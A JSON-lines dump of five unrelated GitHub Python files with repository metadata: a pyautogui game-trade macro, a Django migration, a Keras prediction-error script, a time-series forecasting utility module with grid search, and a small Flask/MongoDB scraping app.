{"seq_id": "34101718228", "text": "import pyautogui\nimport sys\nimport time\nPlayerName = sys.argv[1]\n# PlayerName = \"WhoCanxD\"\npyautogui.moveTo(1750,700)\npyautogui.click(1750,700)\npyautogui.press(\"enter\")\ntime.sleep(0.2)\npyautogui.write(f\"/tradewith {PlayerName}\")\ntime.sleep(0.2)\npyautogui.press(\"enter\")\nprint(\"awd\")", "repo_name": "VLFrosttide/Poe-trade", "sub_path": "Trade/TradeRequest.py", "file_name": "TradeRequest.py", "file_ext": "py", "file_size_in_byte": 282, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pyautogui.moveTo", "line_number": 6, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 7, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 8, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 9, "usage_type": "call"}, {"api_name": "pyautogui.write", "line_number": 10, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 11, "usage_type": "call"}, {"api_name": "pyautogui.press", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "71856774951", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('fsforms', '0049_schedule_schedule_level'),\n    ]\n\n    operations = [\n        migrations.RemoveField(\n            model_name='schedule',\n            name='schedule_level',\n        ),\n        migrations.AddField(\n            model_name='schedule',\n            name='schedule_level_id',\n            field=models.IntegerField(default=0, choices=[(0, 'Daily'), (1, 'Weekly'), (2, 'Monthly')]),\n        ),\n    ]\n", "repo_name": "awemulya/kobo-predict", "sub_path": "onadata/apps/fsforms/migrations/0050_auto_20180309_1406.py", "file_name": "0050_auto_20180309_1406.py", "file_ext": "py", "file_size_in_byte": 585, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 45, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}]}
{"seq_id": "18747860149", "text": "import keras\nimport numpy as np\nimport pandas as pd\nfrom keras import layers, optimizers, losses, metrics\nfrom keras.models import load_model\nfrom keras.models import Model\nimport sys\nimport csv\nimport os.path\nfrom os import path\n\n\n# Check arguments\nif len(sys.argv) != 3:\n\tsys.exit(\"Not enough arguments\")\n\nif sys.argv[1] != \"-i\":\n\tsys.exit(\"Invalid type of argument\")\n\nif not path.exists(sys.argv[2]):\n\tsys.exit(\"None existing file\")\n\n# Check if real results exist\nif not path.exists(\"actual.csv\"):\n\tsys.exit(\"You must provide the file of the actual results first\")\n\n# Read actual results\nactual_results = pd.read_csv(\"actual.csv\", usecols = [i+1 for i in range(7)], header=None)\n\n# Load pretrained model\nmodel = load_model('./WindDenseNN.h5')\n\n# Read data\ndata = pd.read_csv(sys.argv[2], usecols = [i+1 for i in range(128)], header=None)\ntimestamps = pd.read_csv(sys.argv[2], usecols = [0], header=None)\n\n# Predict model\nresult = model.predict(data)\n\n# for line in range(len(actual_results)):\n# \tfor column in range(7):\n\t\t\n# Find the mean absolute error\ndifference = np.subtract(actual_results, result)\nabs_diff = abs(difference)\nm_e_a = abs_diff.mean().mean()\n\n# Find the mean absolute percentage error\nabs_diff_perc = np.divide(abs_diff, actual_results, out=np.zeros_like(abs_diff), where=actual_results!=0)\nm_e_p_a = abs_diff_perc.mean().mean() * 100\n\n# Find the mean square error\nsquare_difference = np.power(difference, 2)\nm_s_e = square_difference.mean().mean()\n\n# Concatenate timestamps with result matrix\ncsv_contents = np.hstack((timestamps,result))\n\n# Write final results to csv\nwith open('predicted.csv', 'w') as file:\n\twriter = csv.writer(file)\n\twriter.writerow([\"MAE:\" + str(m_e_a), \"MAPE:\" + str(m_e_p_a) + \"%\", \"MSE:\" + str(m_s_e)])\n\twriter.writerows(csv_contents)", "repo_name": "konstantinaRK/Clustering", "sub_path": "Project3/predict.py", "file_name": "predict.py", "file_ext": "py", "file_size_in_byte": 1782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 17, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 34, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.subtract", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 57, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "40155474638", "text": "# -*- coding:utf-8 -*-\n# Author: Xingyu Liu 01368856\n# Date: Feb 06, 2020\n\n#@modified: Jing Wang\n#@date: 09/18/2020\n\nimport os\nimport json\nimport random\nimport calendar\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom datetime import timedelta, datetime\nfrom monthdelta import monthdelta\nimport lightgbm as lgb\nfrom sklearn.model_selection import KFold\nfrom bayes_opt import BayesianOptimization\nfrom sklearn import model_selection\nfrom itertools import product\nfrom copy import deepcopy\nimport xgboost as xgb\n\ndef get_data_path():\n    folder = os.path.split(os.path.realpath(__file__))[0]  # os.path.dirname(os.path.dirname(__file__))\n    return os.path.join(folder, \"\")\n\ndef is_json(myjson):\n    try:\n        json.loads(myjson)\n    except:\n        return False\n    return True\n\ndef output_json(data, filename):\n    '''\n    output data to json\n    :param data:\n    :param filename:\n    :return:\n    '''\n    with open(filename, 'w', encoding='utf-8') as f:\n        json.dump(data, f, ensure_ascii=False)\n\ndef draw_feature_importance(report_path, feature_importance):\n    # draw feature importance\n    photoLength = len(feature_importance) / 2 if len(feature_importance) > 10 else 5\n    plt.figure(figsize=(20, photoLength))\n    sns.barplot(x='Value', y='Feature', data=feature_importance.sort_values(by='Value', ascending=False))\n    plt.title(\"LightGBM Feature Importance\")\n    plt.tight_layout()\n    plt.savefig(report_path + \"feature_importance.png\")\n\ndef get_dates(year, month):\n    year = int(year)\n    month = int(month)\n    _, ndays = calendar.monthrange(year, month)\n    if month < 10:\n        mon = str(0) + str(month)\n    else:\n        mon = str(month)\n    base = str(year) + mon\n    dates = []\n    for d in range(1, ndays):\n        if d < 10:\n            d = str(0) + str(d)\n        else:\n            d = str(d)\n        dates.append(int(base + d))\n    return dates\n\ndef get_period_value_and_unit(period):\n    '''\n    把周期字符串拆解为数值和单位\n    :param period: 输入的周期，字符串，如\"7d\"\n    :return: 周期对应的数值及单位，如返回7和\"d\"\n    '''\n    # default value\n    period_value = 7\n    period_unit = 'd'\n\n    if period.endswith('m'):\n        period_unit = 'm'\n        period_value = int(period.replace('m', ''))\n    elif period.endswith('d'):\n        period_unit = 'd'\n        period_value = int(period.replace('d', ''))\n\n    return period_value, period_unit\n\ndef add_some_time(cur_time_str, value, unit):\n    '''\n    从某个时刻增加一段时间\n    :param cur_time_str: 当前时间，字符串类型\n    :param value: 需要增加的时间长度\n    :param unit: 时间长度的单位\n    :return: 结果字符串\n    '''\n\n    val_start_date = datetime.strptime(cur_time_str, '%Y-%m-%d')\n    if unit == 'm':\n        val_week_date = val_start_date + monthdelta(months=value)\n    elif unit == 'd':\n        val_week_date = val_start_date + timedelta(days=value)\n    else:\n        raise ValueError('Incorrect value with roll_period {}. '.format(str(value)+str(unit)))\n\n    return val_week_date.strftime(\"%Y-%m-%d\")\n\n\ndef train_test_split(X, y, train_ratio=0.7):\n    num_periods, num_features = X.shape\n    train_periods = int(num_periods * train_ratio)\n    random.seed(2)\n    Xtr = X[:train_periods]\n    ytr = y[:train_periods]\n    Xte = X[train_periods:]\n    yte = y[train_periods:]\n    return Xtr, ytr, Xte, yte\n\n\n###############################################################\n# metric\n###############################################################\n\n# define MAPE function\ndef mean_absolute_percentage_error(y_true, y_pred):\n    '''\n    :param y_true: 实际Y值\n    :param y_pred: 预测Y值\n    :return: MAPE\n    '''\n    y_true, y_pred = np.array(y_true), np.array(y_pred)\n    mape = np.mean(np.abs((y_true - y_pred) / (y_true))) * 100\n    return mape\n\ndef MAPE_handle_zero(y_true, y_pred):\n    '''\n    * 此处，为了防止一些实际值为0的情况，此处分母处加了1e-2，可能会导致MAPE的值高启，需要注意。\n    :param y_true: 实际Y值\n    :param y_pred: 预测Y值\n    :return: MAPE\n    '''\n    y_true, y_pred = np.array(y_true), np.array(y_pred)\n    mape = np.mean(np.abs((y_true - y_pred) / (y_true + 1e-2))) * 100\n    return mape\n\n# define WMAPE function\ndef weighted_mean_absolute_percentage_error(y_true, y_pred):\n    '''\n    :param y_true: 实际Y值\n    :param y_pred: 预测Y值\n    :return: WMAPE\n    '''\n    y_true, y_pred = np.array(y_true), np.array(y_pred)\n    wmape = 100 * np.sum(np.abs(y_true - y_pred)) / np.sum(y_true)\n    return wmape\n\ndef WMAPE_handle_zero(y_true, y_pred):\n    '''\n    :param y_true: 实际Y值\n    :param y_pred: 预测Y值\n    :return: WMAPE\n    '''\n    y_true, y_pred = np.array(y_true), np.array(y_pred)\n    wmape = 100 * np.sum(np.abs(y_true - y_pred)) / (np.sum(y_true) + 1e-2)\n    return wmape\n\n\n# define SMAPE function\ndef symmetric_mean_absolute_percentage_error(y_true, y_pred):\n    '''\n    :param y_true: 实际Y值\n    :param y_pred: 预测Y值\n    :return: SMAPE\n    '''\n    y_true, y_pred = np.array(y_true), np.array(y_pred)\n    smape = 2.0 * np.mean(np.abs(y_pred - y_true) / (np.abs(y_pred) + np.abs(y_true))) * 100\n    return smape\n\ndef SMAPE_handle_zero(y_true, y_pred):\n    '''\n    * 此处，为了防止一些实际值为0的情况，此处分母处加了0.01，可能会导致MAPE的值高启，需要注意。\n    :param y_true: 实际Y值\n    :param y_pred: 预测Y值\n    :return: SMAPE\n    '''\n    y_true, y_pred = np.array(y_true), np.array(y_pred)\n    smape = 2.0 * np.mean(np.abs(y_pred - y_true) / (np.abs(y_pred) + np.abs(y_true) + 1e-2)) * 100\n    return smape\n\ndef add_lag_and_window_feature_name(train_features, lag_list, window_list):\n    '''\n    添加需要滚动的特征名称\n    :param train_features:\n    :param lag_list:\n    :param window_list:\n    :return:\n    '''\n    for lag in lag_list:\n        train_features.append(f'{lag}_day_before')\n    for w in window_list:\n        train_features.extend([f'max_over_{w}_days', f'min_over_{w}_days', f'mean_over_{w}_days', f'sum_over_{w}_days'])\n\n\ndef construct_features(data, lag_list, window_list):\n    basic = pd.DataFrame(data.y)\n    for lag in lag_list:\n        tmp = basic.shift(lag)\n        tmp.rename(columns={'y': f'{lag}_day_before'}, inplace=True)\n        data = pd.concat([data, tmp], axis=1)\n\n    for w in window_list:\n        shifted = basic.shift(1)\n        window = shifted.rolling(window=w)\n        tmp = pd.concat([window.max(), window.min(), window.mean(), window.sum()], axis=1)\n        tmp.columns = [f'max_over_{w}_days', f'min_over_{w}_days', f'mean_over_{w}_days', f'sum_over_{w}_days']\n        data = pd.concat([data, tmp], axis=1)\n\n    return data\n\ndef date_converter(x):\n    '''\n    转换为日期格式\n    '''\n    if x is None:\n        return x\n    try:\n        x = str(x)\n    except Exception:\n        return x\n    \n    try:\n        return datetime.strptime(x, \"%Y-%m-%d\")\n    except Exception:\n        try:\n            return datetime.strptime(x, \"%Y/%m/%d\")\n        except Exception:\n            try:\n                return datetime.strptime(x, \"%Y%m%d\")\n            except Exception:\n                return x\n\ndef date_parser(x):\n    '''\n    日期格式转换为string\n    '''\n    if not isinstance(x, datetime):\n        return None\n    \n    try:\n        return x.strftime(\"%Y-%m-%d\")\n    except Exception:\n        try:\n            return x.strptime(\"%Y/%m/%d\")\n        except Exception:\n            try:\n                return x.strptime(\"%Y%m%d\")\n            except Exception:\n                return None\n\ndef fill_ts(data):\n    '''\n    填充时间序列，只保留两列，[ts, y]\n    '''\n\n    min_dt = date_converter(data[\"ds\"].min())\n    max_dt = date_converter(data[\"ds\"].max())\n    date_list = [date_parser(x) for x in pd.date_range(start=min_dt, end=max_dt)]\n    date_df = pd.DataFrame(date_list, columns=[\"ds\"])\n    df = pd.merge(date_df, data[[\"ds\", \"y\"]], on=\"ds\", how=\"left\")\n    df[\"y\"].fillna(0, inplace=True)\n    return df \n\ndef dt64_to_datetime(dt64):\n    '''\n    :param dt64:\n    :return:\n    '''\n    if np.isnat(dt64):\n        return None\n    else:\n        unix_epoch = np.datetime64(0, 's')\n        one_second = np.timedelta64(1, 's')\n        seconds_since_epoch = (dt64 - unix_epoch) / one_second\n    return datetime.utcfromtimestamp(seconds_since_epoch)\n\ndef get_date_diff(start_date_str, end_date_str):\n    '''\n    获取日期差\n    :param start_date_str:str\n    :param end_date_str:str\n    :return:\n    '''\n    start_date = datetime.strptime(start_date_str, \"%Y-%m-%d\")\n    end_date = datetime.strptime(end_date_str, \"%Y-%m-%d\")\n    ret_val = (end_date-start_date).days\n    return ret_val\n\ndef get_dates_list(start_date, end_date):\n    '''\n    获取日期区间\n    :param start_date:str\n    :param end_date:str\n    :return:\n    '''\n    date_list = []\n    start_date = datetime.datetime.strptime(start_date, \"%Y-%m-%d\")\n    end_date = datetime.datetime.strptime(end_date, \"%Y-%m-%d\")\n    while start_date <= end_date:\n        date_str = start_date.strftime(\"%Y-%m-%d\")\n        date_list.append(date_str)\n        start_date += datetime.timedelta(days=1)\n    return date_list\n\ndef get_model_info(model_name, data, results, mode):\n    'Get model information output'\n    train_size = len(data[data[\"set_flag\"] == mode[\"train\"]])\n    val_size = len(data[data[\"set_flag\"] == mode[\"validation\"]])\n    test_size = len(data[data[\"set_flag\"] == mode[\"test\"]])\n    val_data = results[results[\"set_flag\"] == mode[\"validation\"]]\n    y = val_data[\"y\"]\n    ypred = val_data[\"y_pred\"]\n    info = {}\n    info[\"model\"] = model_name \n    info[\"train_set_size\"] = train_size\n    info[\"validation_set_size\"] = val_size \n    info[\"test_set_size\"] = test_size\n    info[\"WMAPE\"] = WMAPE_handle_zero(y, ypred)\n    return info \n\nclass GridSearchCV(object):\n    \n    def __init__(self, params_grid, model=\"lightgbm\", cv=5, random_state=0):\n        self.cv = cv \n        self.random_state = random_state \n\n        basic_params = {}\n        search_params = {}\n        for param, values in params_grid.items():\n            if len(values) == 1:\n                basic_params[param] = values\n            else:\n                search_params[param] = values \n        self.basic_params = basic_params\n        self.param_grid = search_params\n\n        self.model = model \n        self.num_boost_round = 1000\n        self.early_stopping_rounds = 250\n\n    def generate_params(self):\n        # Always sort the keys of a dictionary, for reproducibility\n        items = sorted(self.param_grid.items())\n        if not items:\n            yield {}\n        else:\n            keys, values = zip(*items)\n            for v in product(*values):\n                params = dict(zip(keys, v))\n                yield params\n\n    def fit(self, X, y, features, cat_features=None, init_points=5, n_iter=5, \n            bayes_automated_tune=False,\n            grid_tune=True):\n        '''\n        Grid Search Fit\n        Args:\n            X (data frame)\n            y (np array)\n            features (list): a list of feature columns to use\n            init_points (int): how many steps of random exploration\n            n_iter (int): how many iterations of bayesian optimization\n            bayes_automated_tuning (bool): automated fine tuning\n            grid_tune (bool): grid search\n\n        Note:\n        You could just set either init_points or n_iter as 0\n        '''\n        self.Xtrain = X\n        self.ytrain = y\n        self.features = features\n        self.cat_features = cat_features\n\n        if bayes_automated_tune and len(self.param_grid) > 0:\n            optimizer = BayesianOptimization(\n                f=self.fold_train,\n                pbounds=self.param_grid\n            )\n            optimizer.maximize(\n                init_points=init_points,\n                n_iter=n_iter,\n            )\n\n            # get best parameters \n            best_param = optimizer.max[\"params\"]\n            for p, val in best_param.items():\n                if p in [\"min_child_samples\", \"num_leaves\", \n                        \"max_depth\", \"n_estimators\", \"random_state\"]:\n                    val = int(val)\n                self.basic_params[p] = val\n        \n        if grid_tune and len(self.param_grid) > 0:\n            best_score = float(\"-inf\")\n            best_param = None\n            for param in self.generate_params():\n                score = self.fold_train(**param)\n                if score > best_score:\n                    best_score = score \n                    best_param = deepcopy(self.basic_params)\n            self.basic_params = best_param\n        \n        if \"weight\" not in X.columns:\n            X[\"weight\"] = 1\n        \n        Xtr, Xval, ytr, yval = model_selection.train_test_split(X, y, \n                    test_size=0.1, random_state=self.random_state)\n        \n        if self.cat_features is None:\n            cat_feat = \"auto\"\n        else:\n            cat_feat = self.cat_features\n        \n        if self.model == \"lightgbm\":\n            trn_data = lgb.Dataset(\n                    Xtr[features], \n                    label=ytr, \n                    weight=Xtr.weight,\n                    categorical_feature=cat_feat\n                )\n            \n            val_data = lgb.Dataset(\n                Xval[features],\n                label=yval,\n                weight=Xval.weight,\n                categorical_feature=cat_feat\n            )\n\n            self.best_estimator_ = lgb.train(\n                self.basic_params,\n                trn_data,\n                num_boost_round=self.num_boost_round,\n                valid_sets=[trn_data, val_data],\n                early_stopping_rounds=self.early_stopping_rounds,\n                verbose_eval=False,\n            )\n        elif self.model == \"xgboost\":\n            trn_data = xgb.DMatrix(Xtr[features], label=ytr)\n            val_data = xgb.DMatrix(Xval[features], label=yval)\n            params = {k: v[0] for k, v in self.basic_params.items()}\n            self.best_estimator_ = xgb.train(params, trn_data, \n                evals=[(val_data, \"validation\")],\n                verbose_eval=False,\n                num_boost_round=self.num_boost_round,\n                early_stopping_rounds=self.early_stopping_rounds)\n\n        self.best_params_ = self.basic_params\n    \n    def fold_train(self, **kwargs):\n        for p, val in kwargs.items():\n            if p in [\"min_child_samples\", \"num_leaves\", \"max_depth\", \n                    \"n_estimators\", \"random_state\"]:\n                val = int(val)\n            self.basic_params[p] = [val] \n\n        scores = []\n        Xtrain = self.Xtrain\n        ytrain = self.ytrain\n        features = self.features\n        \n        if self.cat_features is None:\n            cat_feat = \"auto\"\n        else:\n            cat_feat = self.cat_features\n\n        if \"weight\" not in Xtrain.columns:\n            Xtrain[\"weight\"] = 1\n\n        folds = KFold(n_splits=self.cv, shuffle=True, random_state=self.random_state) \n        for fold_idx, (trn_idx, val_idx) in enumerate(folds.split(Xtrain.values, ytrain)):\n            t_x = Xtrain.iloc[trn_idx]\n            v_x = Xtrain.iloc[val_idx]\n            label_train = ytrain[trn_idx].ravel()\n            label_val = ytrain[val_idx].ravel()\n\n            if self.model == \"lightgbm\":\n                trn_data = lgb.Dataset(\n                    t_x[features], \n                    label=label_train, \n                    weight=t_x.weight,\n                    categorical_feature=cat_feat\n                )\n                val_data = lgb.Dataset(\n                    v_x[features],\n                    label=label_val,\n                    weight=v_x.weight,\n                    categorical_feature=cat_feat\n                )\n                # start = datetime.now()\n                regressor = lgb.train(\n                    self.basic_params,\n                    trn_data,\n                    num_boost_round=self.num_boost_round,\n                    valid_sets=[trn_data, val_data],\n                    early_stopping_rounds=self.early_stopping_rounds,\n                    verbose_eval=False,\n                )\n\n                val_feat = v_x[features]\n            elif self.model == \"xgboost\":\n                trn_data = xgb.DMatrix(t_x[features], label=label_train)\n                val_data = xgb.DMatrix(v_x[features], label=label_val)\n                params = {k: v[0] for k, v in self.basic_params.items()}\n                regressor = xgb.train(params, trn_data, \n                    evals=[(val_data, \"validation\")],\n                    verbose_eval=False,\n                    num_boost_round=self.num_boost_round,\n                    early_stopping_rounds=self.early_stopping_rounds)\n                val_feat = xgb.DMatrix(v_x[features])\n            \n            ypred = regressor.predict(val_feat).ravel()\n            mae = np.mean(np.abs(ypred - label_val))\n            scores.append(mae)\n            # end = datetime.now()\n            # print(\"Time spent: {}s\".format((end-start).total_seconds()))\n            # raise\n        return -np.mean(scores)\n", "repo_name": "jingw2/solver", "sub_path": "forecast_auto_adjustment/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 17096, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.split", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "calendar.monthrange", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 103, "usage_type": "name"}, {"api_name": "monthdelta.monthdelta", "line_number": 105, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 107, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 192, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 210, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 214, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 219, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 221, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 237, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 237, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 240, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 240, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 243, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 243, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 251, "usage_type": "argument"}, {"api_name": "pandas.date_range", "line_number": 272, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 273, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 274, "usage_type": "call"}, {"api_name": "numpy.isnat", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.datetime64", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.timedelta64", "line_number": 287, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 289, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 289, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 298, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 298, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 299, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 299, "usage_type": "name"}, {"api_name": "datetime.datetime.datetime.strptime", "line_number": 311, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime", "line_number": 311, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 311, "usage_type": "name"}, {"api_name": "datetime.datetime.datetime.strptime", "line_number": 312, "usage_type": "call"}, {"api_name": "datetime.datetime.datetime", "line_number": 312, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 312, "usage_type": "name"}, {"api_name": "datetime.datetime.timedelta", "line_number": 316, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 316, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 362, "usage_type": "call"}, {"api_name": "bayes_opt.BayesianOptimization", "line_number": 389, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 413, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 419, "usage_type": "call"}, {"api_name": "sklearn.model_selection", "line_number": 419, "usage_type": "name"}, {"api_name": "lightgbm.Dataset", "line_number": 428, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 435, "usage_type": "call"}, {"api_name": "lightgbm.train", "line_number": 442, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 451, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 452, "usage_type": "call"}, {"api_name": "xgboost.train", "line_number": 454, "usage_type": "call"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 482, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 490, "usage_type": "call"}, {"api_name": "lightgbm.Dataset", "line_number": 496, "usage_type": "call"}, {"api_name": "lightgbm.train", "line_number": 503, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 514, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 515, "usage_type": "call"}, {"api_name": "xgboost.train", "line_number": 517, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 522, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 525, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 525, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 530, "usage_type": "call"}]}
{"seq_id": "11627628940", "text": "# Dependencies\nfrom flask import Flask, render_template, jsonify, redirect\nfrom flask_pymongo import PyMongo\nimport scrape_mars\n\n# Start Flask\napp = Flask(__name__)\napp.config[\"Mongo_URI\"] = \"mongodb://localhost:27017/db\"\nmongo = PyMongo(app)\n\n# Create route that renders index.html template and finds documents from Mongo\n@app.route(\"/\")\ndef index():\n    mars = mongo.db.mars.find_one()\n    return render_template(\"index.html\", mars=mars)\n\n# Route that will trigger scrape functions\n@app.route(\"/scrape\")\ndef scrape():\n    mars = mongo.db.mars\n    mars_data = scrape_mars.scrape()\n    mars.update(\n        {},\n        mars_info,\n        upsert=True\n    )\n    return redirect(\"http://localhost:5000/\", code=302)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)", "repo_name": "Nazaninazar/web-scraping-challenge", "sub_path": "web-scraping-challenge/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 763, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask_pymongo.PyMongo", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "scrape_mars.scrape", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 27, "usage_type": "call"}]}
